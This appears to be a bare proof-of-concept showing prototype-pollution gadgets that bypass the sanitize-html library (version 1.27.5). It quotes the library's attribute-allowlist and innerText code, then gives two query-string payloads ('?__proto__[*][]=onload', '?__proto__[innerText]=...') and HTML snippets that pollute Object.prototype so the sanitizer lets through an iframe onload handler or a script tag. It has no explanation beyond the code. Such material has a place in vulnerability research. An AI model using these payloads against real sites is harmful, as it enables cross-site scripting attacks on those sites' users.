URL: https://github.com/apostrophecms/sanitize-html
return (typeof sanitizeHtml !== 'undefined')
if (!allowedAttributesMap ||
(has(allowedAttributesMap, name) && allowedAttributesMap[name].indexOf(a) !== -1) ||
(allowedAttributesMap['*'] && allowedAttributesMap['*'].indexOf(a) !== -1) ||
(has(allowedAttributesGlobMap, name) && allowedAttributesGlobMap[name].test(a)) ||
(allowedAttributesGlobMap['*'] && allowedAttributesGlobMap['*'].test(a))) {
passedAllowedAttributesMapCheck = true;
result += ">";
if (frame.innerText && !hasText && !options.textFilter) {
result += frame.innerText;
}
?__proto__[*][]=onload
<script src="https://cdnjs.cloudflare.com/ajax/libs/sanitize-html/1.27.5/sanitize-html.min.js"></script>
<script>
Object.prototype['*'] = ['onload']
</script>
<script>
document.write(sanitizeHtml('<iframe onload=alert(1)>'))
</script>
?__proto__[innerText]=<script>alert(1)</script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/sanitize-html/1.27.5/sanitize-html.min.js"></script>
<script>
Object.prototype.innerText = "<script>alert(1)<\/script>"
</script>
<script>
document.write(sanitizeHtml('<a>'))
</script>